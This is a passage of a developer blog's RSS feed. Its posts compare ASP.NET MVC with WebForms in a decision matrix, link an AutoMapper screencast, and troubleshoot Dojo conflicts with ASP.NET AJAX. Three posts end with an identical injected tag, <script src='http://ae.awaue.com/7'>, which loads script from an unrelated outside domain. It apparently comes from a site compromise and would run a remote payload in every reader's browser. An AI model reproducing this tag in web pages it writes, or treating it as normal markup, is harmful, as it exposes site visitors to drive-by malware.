<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3rd Party Components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project requires many specific 3rd party vendor components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is not bound to 3rd party vendor components (The UI can still be very rich)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 22.5pt; mso-yfti-irow: 3">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Open Source
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is not comfortable with open-source libraries
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is comfortable with open-source libraries (especially jQuery)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 23.85pt; mso-yfti-irow: 4">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">4
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements will not change during development
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements may change during development
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 5">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">5
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project will never be &quot;extended&quot; or have a feature &quot;added&quot;
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project maybe be &quot;extended&quot; or have features &quot;added&quot;
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 6">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">6
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Testability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is not required for this project
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is required for this project
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 7">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">7
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">
<p>&#160;</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is limited in maintenance hours
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 8; mso-yfti-lastrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">8
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">There is little to no concern with regard to HTML compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">HTML markup compliance (compliance, screen readers, etc)
</p>
<p>             </span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Notes
</p>
<p>   </span></p>
<ol style="margin-top: 0in" type="1">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently more extensible and maintainable.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">If your project/company has an existing large investment in 3<sup>rd</sup> party components you should consider sticking with whatever framework the components are developed for (Webforms or MVC)
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">component suites are available for both frameworks but many developers have found that jQuery, and to a less extent other open source frameworks, is a better solution for building rich UI
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">The convention built into the MVC framework helps enforce a separation of concerns design pattern what helps developers built applications that are inherently loosely coupled.
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">See note #4
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><span style="font-size: 10pt; font-family: calibri">….
</p>
<p>     </span></li>
</ol>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Dimecasts.net automapper demo</title>
		<link>http://eric.polerecky.com/archives/dimecastsnet-automapper-demo/</link>
		<comments>http://eric.polerecky.com/archives/dimecastsnet-automapper-demo/#comments</comments>
		<pubDate>Tue, 19 May 2009 19:36:19 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[AutoMapper]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[WCF]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=331</guid>
		<description><![CDATA[<br/>I did a short demo of automapper for dimecasts.net. Take a look what do you think?
Ha! Dimecasts.net is my phonebook!   

Ha!


No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I did a <a title="AutoMapper DimeCasts.NET Demo" href="http://dimecasts.net/Casts/CastDetails/111" target="_self">short demo</a> of <a title="AutoMapper" href="http://www.codeplex.com/AutoMapper" target="_self">automapper</a> for <a href="http://dimecasts.net/">dimecasts.net</a>. Take a look what do you think?</p>
<p>Ha! Dimecasts.net is my phonebook! <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  </p>
<p><script type="text/javascript"><!--
var sid=134;var vid=15259;
// --></script><script src="http://www.networkn3.com/scripts/vplay4-start-paused.js" type="text/javascript"></script></p>
<p>Ha!<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/dimecastsnet-automapper-demo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A completely biased comparison of ASP.NET MVC and Webforms</title>
		<link>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/</link>
		<comments>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/#comments</comments>
		<pubDate>Fri, 15 May 2009 14:38:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[WebForms]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>I have to admit I am total bias towards MVC but hear me out. I have yet to work in an organization that implements an OOP or even MVP when using WebForms. It’s all been directly bound controls to data readers/sets/tables. No object model, no business object layer, page_load is used and abused, etc. It


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>I have to admit I am total bias towards MVC but hear me out. I have yet to work in an organization that implements an OOP or even MVP when using WebForms. It’s all been directly bound controls to data readers/sets/tables. No object model, no business object layer, page_load is used and abused, etc. It can’t be stated enough that MVC will not save a project from the bullshit code that is forms over data crap but at least there is hope in the form of a tiny amount of guidance from Microsoft. &lt;/rant&gt;</p>
<h2>Introduction</h2>
<p>In the .NET world the MVC pattern is relatively new but it has been the staple development architecture for Java and Ruby for over a decade. Most of the current the debate between what technology is “better” is argued from a developer’s point of view. While the technical underpinnings of a technology can often translate to the projects success; I feel that both WebForms and MVC are mature enough that most projects will do fine with either.</p>
<p>The technical debate does nothing for those who are trying to persuade their organization to consider ASP.NET MVC. What I am trying to present here is a list of decision points an organization can use when deciding on MVC vs. WebForms. </p>
<h2>ASP.NET WebForms </h2>
<p>Through the abstraction of HTML, CSS, and JavaScript; ASP.NET WebForms attempts to recreate the experience of developing a desktop application. The entire HTTP protocol is successfully abstracted away and developers are present with a faux statefulness that mimics desktop applications. Development teams are able to use a WYSIWIG style of development.</p>
<h2>ASP.NET MVC</h2>
<p>Out of the box ASP.NET MVC forces developers to understand HTML, CSS, and JavaScript. There is little to no abstraction which can be a double edged sword. On one hand your development team has access to the raw power of the markup &amp; languages that make up the web. On the other; if your development team is not experienced with HTML, CSS, and JavaScript there might be a learning curve.</p>
<h2>Decision Matrix</h2>
<p>
<table cellspacing="0" cellpadding="0" border="1">
<tbody>
<tr>
<td valign="top" width="47%">
<p align="center"><strong>ASP WebForms</strong></p>
</td>
<td valign="top" width="52%">
<p align="center"><strong>ASP.NET MVC</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project is small and your team is not experienced with MVC</p>
</td>
<td valign="top" width="52%">
<p>Your project is large (experience with MVC not required)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project requires many specific 3rd party vendor components</p>
</td>
<td valign="top" width="52%">
<p>Your project is not bound to 3rd party vendor components (The UI can still be very rich)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project team is not comfortable with open-source libraries (expecially jQuery)</p>
</td>
<td valign="top" width="52%">
<p>Your project team is comfortable with open-source libraries (especially jQuery)</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your customers requirements, possibly by contract, will not change during development</p>
</td>
<td valign="top" width="52%">
<p>Your customers requirements may change during development</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">
<p>Your project will never be &quot;extended&quot; or have a feature &quot;added&quot;</p>
</td>
<td valign="top" width="52%">
<p>Your project maybe be &quot;extended&quot; or have features &quot;added&quot;</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project is mission critical and deserves the comfort provided by unit testing</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project is limited in maintenance hours</p>
</td>
</tr>
<tr>
<td valign="top" width="47%">&#160;</td>
<td valign="top" width="52%">
<p>Your project cares about HTML markup compliance</p>
</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>I think that most projects will be able to succeed using either technology. The question is simply how much pain will you cause your developers? Will you stick with web forms and create an endless maintenance cycle? We know how much developers love maintenance programming. Or will you force them out of their comfort zone and make them learn something new for the sake of your project?</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dojo and ASP.NET AJAX Compatibility</title>
		<link>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/</link>
		<comments>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 21:43:12 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ArcGIS]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[development]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/>As part of developing a project I created a Cross-Domain Proxy to consume the payment service. My Cross-Domain Proxy, Payment.asmx, is exposed via the JavaScript end point. Any ASP.NET web service can open the JavaScript endpoint by uncommenting line #7 in the asmx file.

&#160;
Once the ScriptService line is uncommented you can test that your service


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/><p>As part of developing a project I created a <a href="http://developer.yahoo.com/javascript/howto-proxy.html" target="_blank">Cross-Domain Proxy</a> to consume the payment service. My <a href="http://developer.yahoo.com/javascript/howto-proxy.html" target="_blank">Cross-Domain Proxy</a>, Payment.asmx, is exposed via the JavaScript end point. Any ASP.NET web service can open the JavaScript endpoint by uncommenting line #7 in the asmx file.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="125" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb.png" width="395" border="0" /></a></p>
<p>&#160;</p>
<p>Once the ScriptService line is uncommented you can test that your service is exposing the JavaScript endpoint by calling a URL similar to: </p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>~/WebService.asmx/JS</pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>In the master page I pull the service in.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">&lt;</span><span class="html">asp:ScriptManager</span> <span class="attr">ID</span><span class="kwrd">=&quot;ocScriptManager&quot;</span> <span class="attr">runat</span><span class="kwrd">=&quot;server&quot;</span><span class="kwrd">&gt;</span></pre>
<pre><span class="lnum">   2:  </span>    <span class="kwrd">&lt;</span><span class="html">Services</span><span class="kwrd">&gt;</span></pre>
<pre class="alt"><span class="lnum">   3:  </span>          <span class="kwrd">&lt;</span><span class="html">asp:ServiceReference</span> <span class="attr">Path</span><span class="kwrd">=&quot;~/WebServices/Payment.asmx&quot;</span> <span class="kwrd">/&gt;</span></pre>
<pre><span class="lnum">   4:  </span>     <span class="kwrd">&lt;/</span><span class="html">Services</span><span class="kwrd">&gt;</span></pre>
<pre class="alt"><span class="lnum">   5:  </span><span class="kwrd">&lt;/</span><span class="html">asp:ScriptManager</span><span class="kwrd">&gt;</span></pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>At this point everything works. I can write JavaScript to call back to the web service methods as such:</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>WebService.AddItem(<span class="str">'item'</span>, CallBackFunction, FailFunction);</pre>
<pre><span class="lnum">   2:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">   3:  </span>CallBackFunction = <span class="kwrd">function</span>(){</pre>
<pre><span class="lnum">   4:  </span>     alert(<span class="str">'everything worked'</span>);</pre>
<pre class="alt"><span class="lnum">   5:  </span>}</pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p>Now, I pull dojo into this project.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">&lt;</span><span class="html">script</span> <span class="attr">type</span><span class="kwrd">=&quot;text/javascript&quot;</span><span class="kwrd">&gt;</span>djConfig = { parseOnLoad: <span class="kwrd">false</span>, usePlainJson: <span class="kwrd">true</span> };<span class="kwrd">&lt;/</span><span class="html">script</span><span class="kwrd">&gt;</span></pre>
<pre><span class="lnum">   2:  </span>&lt;script type=<span class="str">&quot;text/javascript&quot;</span> src=<span class="str">&quot;http://dojopath/dojo.js&quot;</span>&gt;<span class="kwrd">&lt;/</span><span class="html">script</span><span class="kwrd">&gt;</span></pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p>Here is where we start to run into problems. Due to, what I believe, is having both JavaScript APIs in the same project.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image1.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="24" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb1.png" width="644" border="0" /></a> </p>
<p>If we change the order of API loading we can get a, somewhat, clearer error message.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image2.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="58" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb2.png" width="644" border="0" /></a> </p>
</p>
<p>Now looking at line 1175 we see:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image3.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="271" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb3.png" width="644" border="0" /></a> </p>
<p><strong>Conclusion: </strong></p>
<p>I believe that I have exhausted my troubleshooting efforts. although I am not sure if this is enough information to validate the existence of a bug I opened a ticket with Dojo. Then again, I am not sure who can or should fix it.</p>
<p><a title="http://trac.dojotoolkit.org/ticket/7353" href="http://trac.dojotoolkit.org/ticket/7353">http://trac.dojotoolkit.org/ticket/7353</a></p>
<p>I blogged about this once before.</p>
